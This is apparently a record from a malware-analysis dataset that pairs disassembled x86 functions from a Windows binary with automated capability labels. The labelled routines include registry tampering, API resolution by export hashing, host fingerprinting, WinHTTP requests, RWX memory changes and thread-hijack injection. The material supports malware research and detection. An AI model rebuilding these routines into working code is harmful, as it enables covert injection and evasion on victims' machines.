joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10012ecc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
xor edi, edi
push SysReAllocString
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp + 8], eax
cmp eax, edi
jne 0x10012f6a
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp - 0xc]
push eax
push edi
push dword [ebp + 0xc]
push dword [ebp - 8]
call esi
mov dword [ebp + 8], eax
cmp dword [ebp - 4], edi
je 0x10012f60
push ebx
push dword [ebp - 4]
call fcn.100012ea
mov ebx, eax
cmp ebx, edi
je 0x10012f58
lea eax, [ebp - 4]
push eax
push ebx
lea eax, [ebp - 0xc]
push eax
push edi
push dword [ebp + 0xc]
push dword [ebp - 8]
call esi
mov dword [ebp + 8], eax
cmp eax, edi
jne 0x10012f50
mov eax, dword [ebp + 0x10]
mov dword [eax], ebx
mov eax, dword [ebp + 0x14]
cmp eax, edi
je 0x10012f5f
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
jmp 0x10012f5f
push ebx
call fcn.100012ff
jmp 0x10012f5f
mov dword [ebp + 8], 8
pop ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov eax, dword [ebp + 8]
pop edi
leave
ret 0x10

Function at 0x10012f72
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov esi, eax
test esi, esi
jne 0x10012fa7
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret 8
Function at 0x100132a4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [edi + 0x3c]
and dword [ebp - 0x14], 0
add eax, edi
mov ecx, 0x14c
cmp word [eax + 4], cx
jne 0x100132c3
add eax, 0x78
jmp 0x100132c8
add eax, 0x88
mov ecx, dword [eax]
push ebx
lea ebx, [ecx + edi]
test ecx, ecx
je 0x100133c5
cmp dword [eax + 4], 0
je 0x100133c5
mov eax, dword [ebx + 0x1c]
test eax, eax
je 0x100133c5
mov ecx, dword [ebx + 0x14]
test ecx, ecx
je 0x100133c5
mov edx, dword [ebp + 8]
push esi
lea esi, [eax + edi]
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], edx
test edx, edx
je 0x10013314
cmp edx, 0xffff
ja 0x10013314
mov dword [ebp - 0xc], ecx
jmp 0x1001331e
mov eax, dword [ebx + 0x18]
and dword [ebp - 4], 0
mov dword [ebp - 0xc], eax
mov eax, dword [ebx + 0x24]
test eax, eax
je 0x100133b6
mov esi, dword [ebx + 0x20]
and dword [ebp - 8], 0
add eax, edi
add esi, edi
cmp dword [ebp - 0xc], 0
mov dword [ebp - 0x10], eax
jbe 0x100133c4
cmp dword [ebp - 4], 0
je 0x10013352
movzx eax, word [eax]
add eax, dword [ebx + 0x10]
cmp dword [ebp - 4], eax
jmp 0x1001337e
mov eax, dword [esi]
add eax, edi
test edx, edx
je 0x10013366
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jmp 0x1001337e
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [esi]
push eax
add edx, edi
xor eax, eax
call fcn.10013c1a
not eax
cmp dword [ebp + 0xc], eax
mov eax, dword [ebp - 0x10]
je 0x1001339b
add esi, 4
inc eax
inc eax
inc dword [ebp - 8]
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x10], eax
cmp ecx, dword [ebp - 0xc]
jae 0x100133c4
mov edx, dword [ebp + 8]
jmp 0x10013341
movzx eax, word [eax]
mov ecx, dword [ebp - 0x18]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x100133c4
mov ecx, dword [esi]
add ecx, edi
mov dword [eax], ecx
jmp 0x100133c4
mov eax, dword [ebp - 4]
test eax, eax
je 0x100133c4
lea eax, [esi + eax*4 - 4]
mov dword [ebp - 0x14], eax
pop esi
mov eax, dword [ebp - 0x14]
pop ebx
leave
ret 0xc

Function at 0x10013482
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [eax + ecx + 0x18]
movzx eax, word [ecx + 6]
push ebx
push esi
mov dword [ebp - 4], eax
xor eax, eax
push edi
mov edi, dword [edx + 0xc]
cmp dword [ebp + 8], edi
jb 0x100134bd
mov esi, dword [ecx + 0x3c]
mov ebx, dword [edx + 0x10]
lea ebx, [ebx + esi - 1]
dec esi
not esi
and ebx, esi
add ebx, edi
cmp dword [ebp + 8], ebx
jb 0x100134cf
add dword [ebp - 4], 0xffff
add edx, 0x28
cmp word [ebp - 4], ax
jne 0x1001349f
jmp 0x100134d7
mov eax, dword [edx + 0x14]
sub eax, edi
add eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x100139d8
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
push esi
push edi
push 0x1002d8ae
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx edx, word [ecx + 0x14]
lea edx, [edx + ecx + 0x18]
movzx ecx, word [ecx + 6]
test ecx, ecx
je 0x10013a17
test dword [edx + 0x24], 0x80000000
jne 0x10013ac1
add edx, 0x28
dec ecx
jne 0x10013a04
xor ecx, ecx
and dword [esp + 0x14], 0
test ecx, ecx
je 0x10013ab6
mov esi, dword [ecx + 0xc]
and dword [esp + 0x10], 0
add esi, eax
mov eax, dword [ecx + 8]
lea ebx, [eax + esi - 8]
xor eax, eax
lea edi, [esp + 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x10]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x18]
mov dword [esp + 0x20], 0x100139cb
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], eax
cmp esi, ebx
ja 0x10013ab6
mov eax, dword [esi]
cmp eax, esi
jne 0x10013aac
cmp eax, dword [esi + 4]
jne 0x10013aac
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x18]
mov dword [esp + 0x1c], esi
mov dword [eax + 4], ecx
mov eax, ecx
push 0x1002db71
mov dword [esi], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x10013a94
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
mov dword [ecx], eax
mov dword [eax + 4], ecx
cmp dword [esp + 0x10], 0
je 0x10013aac
mov dword [esp + 0x14], esi
add esi, 8
cmp dword [esp + 0x10], 0
je 0x10013a5c
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, edx
jmp 0x10013a19

Function at 0x10013ac8
Capabilities:
Check os version

Disassembly:
push ebx
xor ebx, ebx
inc ebx
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 6
jb 0x10013b02
push 0x1002e03c
push 0x1002d8ae
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10013b4f
push esi
push edi
push 0x10010fe0
push 0
call eax
test eax, eax
jne 0x10013b4f
jmp 0x10013b48
cmp dword [0x1002c270], 0
jne 0x10013b19
call fcn.100139d8
mov dword [0x1002c270], eax
test eax, eax
je 0x10013b4f
push 0x10
call fcn.100012ea
test eax, eax
je 0x10013b4c
mov ecx, dword [0x1002c270]
mov dword [eax + 4], eax
mov dword [eax], eax
mov dword [eax + 8], 0x10010fe0
mov dword [eax + 0xc], edi
mov dword [esi], eax
mov edx, dword [ecx + 4]
mov dword [eax], ecx
mov dword [eax + 4], edx
mov dword [edx], eax
mov dword [ecx + 4], eax
xor ebx, ebx
jmp 0x10013b4f
push 8
pop ebx
mov eax, ebx
pop ebx
ret

Function at 0x10013bae
Capabilities:
Encode data using xor

Disassembly:
shr dword [esp + 4], 2
push ebx
push esi
xor ebx, ebx
xor esi, esi
cmp dword [esp + 0xc], ebx
je 0x10013bd9
mov eax, dword [edx]
inc ebx
mov cl, bl
rol eax, cl
xor eax, esi
xor eax, dword [esp + 0x10]
mov esi, eax
mov dword [edx], esi
add edx, 4
dec dword [esp + 0xc]
jne 0x10013bbf
pop esi
pop ebx
ret 8
Function at 0x10013c1a
Capabilities:
Encode data using xor

Disassembly:
test edx, edx
je 0x10013c64
cmp dword [esp + 4], 0
not eax
je 0x10013c60
push esi
mov cl, byte [edx]
dec dword [esp + 8]
movzx esi, al
movzx ecx, cl
xor esi, ecx
and esi, 0xf
shr eax, 4
xor eax, dword [esi*4 + 0x10028760]
shr ecx, 4
mov esi, eax
and esi, 0xf
xor ecx, esi
shr eax, 4
xor eax, dword [ecx*4 + 0x10028760]
inc edx
cmp dword [esp + 8], 0
jne 0x10013c28
pop esi
not eax
jmp 0x10013c66
xor eax, eax
ret 4

Function at 0x10013c69
Capabilities:
Hash data with md5

Disassembly:
and dword [eax + 0x14], 0
and dword [eax + 0x10], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret

Function at 0x10015884
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1002c1f4]
push ebx
mov dword [ebp - 8], eax
xor ebx, ebx
push edi
lea eax, [ebp - 8]
mov edx, esi
mov dword [ebp - 4], ebx
call fcn.10011329
mov edi, dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 4]
push eax
push ebx
call edi
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x100158fd
add eax, eax
push eax
push ebx
push dword [0x1002c0e0]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x100158fd
lea ecx, [ebp - 4]
push ecx
push eax
call edi
test eax, eax
je 0x100158ed
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
add eax, eax
push eax
xor eax, eax
call fcn.10013c1a
not eax
xor dword [esi], eax
push dword [ebp - 8]
push ebx
push dword [0x1002c0e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea eax, [ebp - 4]
push eax
push ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x10015959
add eax, eax
push eax
push ebx
push dword [0x1002c0e0]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
cmp edi, ebx
je 0x10015959
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x1001594b
mov eax, dword [ebp - 4]
add eax, eax
push eax
mov edx, edi
xor eax, eax
call fcn.10013c1a
not eax
xor dword [esi + 0xc], eax
push edi
push ebx
push dword [0x1002c0e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
inc eax
xor ecx, ecx
cpuid
lea edi, [ebp - 0x18]
mov dword [edi], eax
mov eax, dword [esi + 4]
mov dword [edi + 4], ebx
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
xor eax, dword [ebp - 0xc]
pop edi
xor eax, dword [ebp - 0x10]
pop ebx
xor eax, dword [ebp - 0x18]
mov dword [esi + 4], eax
leave
ret

Function at 0x10015d7f
Capabilities:
Receive http response

Disassembly:
push esi
mov esi, eax
cmp dword [esi + 0xc], 0
jne 0x10015d91
call fcn.1001625b
test eax, eax
jne 0x10015d99
mov eax, esi
pop esi
jmp fcn.1001611d
pop esi
ret
Function at 0x10015d9b
Capabilities:
Check os version
Initialize winhttp library
Prepare http request

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
push dword [ebp + 8]
xor eax, eax
call fcn.10012623
mov ebx, eax
xor edi, edi
cmp ebx, edi
je 0x10015ee8
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 6
ja 0x10015dcf
jne 0x10015dca
shr eax, 8
cmp al, 1
ja 0x10015dcf
mov dword [ebp + 8], edi
jmp 0x10015dd6
mov dword [ebp + 8], 4
push edi
push edi
push edi
push dword [ebp + 8]
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push ebx
mov dword [esi + 0x10], eax
call fcn.100012ff
cmp dword [esi + 0x10], edi
je 0x10015ee8
push dword [esi]
xor eax, eax
call fcn.10012623
mov ebx, eax
cmp ebx, edi
je 0x10015ee8
mov eax, dword [ebp + 0x14]
neg eax
sbb eax, eax
push edi
and eax, 0x16b
add eax, 0x50
push eax
push ebx
push dword [esi + 0x10]
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
push ebx
mov dword [esi + 0x14], eax
call fcn.100012ff
cmp dword [esi + 0x14], edi
je 0x10015ee8
mov ebx, pe_nt_image_headers32
mov dword [ebp + 8], ebx
cmp dword [ebp + 0x14], edi
je 0x10015e49
mov dword [ebp + 8], 0x800100
push dword [esi + 4]
xor eax, eax
call fcn.10012623
mov dword [ebp + 0x14], eax
cmp eax, edi
je 0x10015ee8
mov ecx, 0x1002d4f4
cmp dword [ebp + 0x10], edi
jne 0x10015e6d
mov ecx, 0x1002d514
push dword [ebp + 8]
push edi
push edi
push edi
push eax
push ecx
push dword [esi + 0x14]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
push dword [ebp + 0x14]
mov dword [esi + 0x18], eax
call fcn.100012ff
mov eax, dword [esi + 0x18]
cmp eax, edi
je 0x10015ee8
lea ecx, [ebp - 4]
push ecx
lea ecx, [ebp + 8]
push ecx
push 0x1f
push eax
mov dword [ebp - 4], 4
call dword [sym.imp.WINHTTP.dll_WinHttpQueryOption]
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
test eax, eax
je 0x10015ec2
or dword [ebp + 8], ebx
push 4
lea eax, [ebp + 8]
push eax
push 0x1f
push dword [esi + 0x18]
call edi
push 4
lea eax, [ebp + 0xc]
push eax
push 6
push dword [esi + 0x18]
call edi
test eax, eax
je 0x10015ee8
push 4
lea eax, [ebp + 0xc]
push eax
push 5
push dword [esi + 0x18]
call edi
test eax, eax
je 0x10015ee8
xor eax, eax
jmp 0x10015eee
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop ebx
leave
ret 0x10
Function at 0x10015f86
Capabilities:
Set http header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 8], 0
push ebx
mov ebx, dword [ebp + 0x14]
and dword [ebp + 0x14], 0
push esi
push edi
push 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov esi, ecx
pop edi
mov dword [ebp - 4], eax
lea eax, [esi + 4]
push eax
push esi
push dword [ebp + 8]
call fcn.100159b0
test eax, eax
je 0x1001608d
mov dword [ebp + 0xc], ebx
test ebx, ebx
jne 0x10015fcb
mov dword [ebp + 0xc], 0x1002d49f
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 0x68
push eax
call fcn.100012ea
mov ebx, eax
test ebx, ebx
je 0x1001608d
push 0x1002d5a2
push dword [ebp + 0xc]
push 0x1002d4b2
push ebx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [esi + 0x30]
push eax
lea ecx, [esi + 8]
push ecx
lea eax, [ebp + 0x14]
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 8], ebx
call fcn.10015a61
push ebx
mov edi, eax
call fcn.100012ff
test edi, edi
jne 0x1001608d
cmp dword [ebp + 0x18], edi
jne 0x1001602d
mov dword [ebp + 0x18], 0xea60
push 0
push 1
push dword [ebp + 0x18]
push dword [ebp + 0x10]
call fcn.10015d9b
mov edi, eax
test edi, edi
jne 0x1001608d
push dword [ebp + 0x14]
call fcn.10012623
mov ebx, eax
test ebx, ebx
jne 0x10016055
push 8
pop edi
jmp 0x1001608d
push 0x10000000
push 0xffffffffffffffff
push ebx
push dword [esi + 0x18]
call dword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
test eax, eax
jne 0x10016072
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
push ebx
call fcn.100012ff
test edi, edi
jne 0x1001608d
push dword [esi + 0x30]
push dword [esi + 8]
push edi
push dword [esi + 0x18]
call fcn.10015ef4
mov edi, eax
cmp dword [ebp + 0x14], 0
mov dword [esi + 0x28], edi
je 0x1001609e
push dword [ebp + 0x14]
call fcn.100012ff
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x14
Function at 0x1001625b
Capabilities:
Read http header
Receive http response

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [esi + 0x28]
push ebx
push edi
xor edi, edi
lea ebx, [esi + 0x2c]
mov dword [ebp - 0xc], edi
mov dword [ebx], edi
mov dword [ebp - 8], eax
cmp eax, edi
jne 0x10016357
push edi
push dword [esi + 0x18]
mov dword [ebp - 4], 4
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x1001634e
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push edi
push 0x20000013
push dword [esi + 0x18]
call sub.WINHTTP.dll_WinHttpQueryHeaders
test eax, eax
je 0x1001634e
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x16
push dword [esi + 0x18]
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], edi
call sub.WINHTTP.dll_WinHttpQueryHeaders
mov eax, dword [ebp - 4]
add eax, 2
push eax
call fcn.100012ea
mov ebx, eax
cmp ebx, edi
je 0x10016345
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push edi
push 0x16
push dword [esi + 0x18]
call sub.WINHTTP.dll_WinHttpQueryHeaders
test eax, eax
je 0x10016334
shr dword [ebp - 4], 1
mov ecx, dword [ebp - 4]
xor eax, eax
mov word [ebx + ecx*2], ax
mov eax, dword [ebp - 4]
inc eax
push eax
call fcn.100012ea
mov dword [ebp - 0x10], eax
cmp eax, edi
je 0x1001632b
mov ecx, dword [ebp - 4]
inc ecx
push ecx
push ebx
push eax
call sub.ntdll.dll_wcstombs
mov eax, dword [ebp - 0x10]
add esp, 0xc
mov dword [esi + 0xc], eax
jmp 0x1001633d
mov dword [ebp - 8], 8
jmp 0x1001633d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
push ebx
call fcn.100012ff
jmp 0x10016357
mov dword [ebp - 8], 8
jmp 0x10016357
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
pop edi
pop ebx
leave
ret

Function at 0x10016455
Capabilities:
Link many functions at runtime

Disassembly:
push esi
push 0x14
call fcn.100012ea
mov esi, eax
test esi, esi
je 0x100164d0
push ebx
push edi
push 0x1002e941
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
test ebx, ebx
je 0x100164c6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1002e949
push ebx
call edi
mov dword [esi], eax
test eax, eax
je 0x100164c6
push 0x1002e950
push ebx
call edi
mov dword [esi + 4], eax
test eax, eax
je 0x100164c6
push 0x1002e958
push ebx
call edi
mov dword [esi + 8], eax
test eax, eax
je 0x100164c6
push 0x1002e406
push ebx
call edi
mov dword [esi + 0xc], eax
test eax, eax
je 0x100164c6
push 0x1002e4d6
push ebx
call edi
mov dword [esi + 0x10], eax
test eax, eax
jne 0x100164ce
push esi
call fcn.100012ff
xor esi, esi
pop edi
pop ebx
mov eax, esi
pop esi
ret
Function at 0x10016b1f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea eax, [ebp - 4]
push eax
push 0x40
push 4
push dword [ebp + 0xc]
xor ebx, ebx
push dword [ebp + 8]
call esi
test eax, eax
je 0x10016b72
lea eax, [ebp - 8]
push eax
push 4
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10012316
test eax, eax
je 0x10016b61
cmp dword [ebp - 8], 4
jne 0x10016b61
inc ebx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 4
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
pop esi
mov eax, ebx
pop ebx
leave
ret 0xc

Function at 0x10017227
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x4e8
push ebx
push esi
xor eax, eax
push 0x4c8
push eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x30]
push eax
or ebx, 0xffffffff
mov dword [esp + 0x28], 0xccccfeeb
call sub.ntdll.dll_memset
add esp, 0xc
call fcn.1001196b
mov esi, eax
lea eax, [esp + 8]
push eax
push dword [edi]
mov dword [esp + 0x58], 0x100003
call fcn.100170a0
test eax, eax
jl 0x1001737c
lea eax, [esp + 0x10]
push eax
push 4
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x18]
push dword [esp + 0x18]
push dword [edi]
call fcn.1001172e
test eax, eax
je 0x1001737c
cmp dword [esp + 0x10], 4
jne 0x1001737c
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x10]
push dword [esp + 0x10]
push dword [edi]
call fcn.10016fb3
test eax, eax
je 0x1001737c
lea eax, [esp + 0x20]
cdq
mov ebx, 0xbb8
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], edx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x64
push dword [0x1002c1f0]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x100172fd
push 0x64
pop ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push dword [esp + 0x14]
mov eax, dword [edi + 4]
push dword [esp + 0x14]
cdq
push edx
push eax
push 0
push 2
push dword [esi + 4]
sub ebx, 0x64
push dword [esi]
call fcn.10025380
mov ecx, dword [esp + 0x13c]
mov eax, dword [esp + 0x138]
add esp, 0x20
test ebx, ebx
jle 0x10017346
cmp eax, dword [esp + 8]
jne 0x100172dc
cmp ecx, dword [esp + 0xc]
jne 0x100172dc
cmp eax, dword [esp + 8]
jne 0x10017352
cmp ecx, dword [esp + 0xc]
je 0x10017359
mov ebx, 0x261
jmp 0x10017368
mov esi, dword [ebp + 8]
push 0
push 0
push edi
call fcn.10016da9
mov ebx, eax
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x10]
push dword [esp + 0x10]
push dword [edi]
call fcn.10016fb3
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10017386
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2ec
push ebx
push esi
push edi
xor esi, esi
push 0x2c8
mov edi, eax
lea eax, [esp + 0x30]
push esi
push eax
mov dword [esp + 0x34], esi
call sub.ntdll.dll_memset
mov ebx, dword [edi]
add esp, 0xc
push esi
mov eax, ebx
mov dword [esp + 0x28], 0xccccfeeb
mov dword [esp + 0x1c], esi
call fcn.1001153a
test eax, eax
je 0x1001749d
mov dword [esp + 0x18], 0x10
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x28], 0x10007
mov dword [esp + 0x10], eax
cmp eax, esi
jne 0x100173f4
push dword [edi]
call fcn.10016b7a
mov dword [esp + 0x10], eax
lea eax, [esp + 0x1c]
push eax
push 4
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x1c]
push ebx
call fcn.100122d5
test eax, eax
je 0x100174da
cmp dword [esp + 0x1c], 4
jne 0x100174da
lea eax, [esp + 0x24]
push eax
push dword [esp + 0x14]
push ebx
call fcn.10016b1f
test eax, eax
je 0x100174da
mov dword [esp + 0x14], 0xbb8
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x64
push dword [0x1002c1f0]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x10017462
mov dword [esp + 0x14], 0x64
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SuspendThread]
sub dword [esp + 0x14], 0x64
lea eax, [esp + 0x28]
push eax
push dword [edi + 4]
call fcn.100122b4
cmp dword [esp + 0x14], esi
mov eax, dword [esp + 0xe0]
jle 0x10017490
cmp eax, dword [esp + 0x10]
jne 0x1001743c
cmp eax, dword [esp + 0x10]
je 0x100174b6
mov esi, 0x261
jmp 0x100174c6
test byte [0x1002c1e4], 1
je 0x100173d6
push dword [ebp + 8]
call fcn.10017227
mov esi, eax
jmp 0x100174d5
push esi
push dword [esp + 0x1c]
mov esi, dword [ebp + 8]
push edi
call fcn.10016da9
mov esi, eax
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x14]
push ebx
call fcn.10016b1f
cmp esi, 0xffffffff
jne 0x100174e2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test byte [ebp + 0xc], 4
jne 0x100174f1
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x100175dd
Capabilities:
Get process image filename

Disassembly:
push ebx
push edi
xor ebx, ebx
push 0x1000
inc ebx
call fcn.100012ea
mov edi, eax
test edi, edi
je 0x10017644
push 0x800
push edi
push dword [esp + 0x14]
call sub.PSAPI.DLL_GetProcessImageFileNameW
test eax, eax
je 0x1001763e
push esi
push edi
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov esi, eax
test esi, esi
je 0x1001763d
push esi
call dword [sym.imp.ntdll.dll__wcsupr]
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, esi
xor eax, eax
call fcn.10013c1a
not eax
xor eax, dword [0x1002c1f8]
cmp eax, 0x93c41565
jne 0x1001763d
xor ebx, ebx
pop esi
push edi
call fcn.100012ff
pop edi
mov eax, ebx
pop ebx
ret 4

Function at 0x1001764b
Capabilities:
Resume thread

Disassembly:
push dword [esi]
call fcn.100175dd
test eax, eax
jne 0x10017668
test byte [esp + 4], 4
jne 0x1001767a
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x1001767a
push 0
push dword [esp + 8]
mov eax, esi
push 0x1002c294
call fcn.10017386
ret 4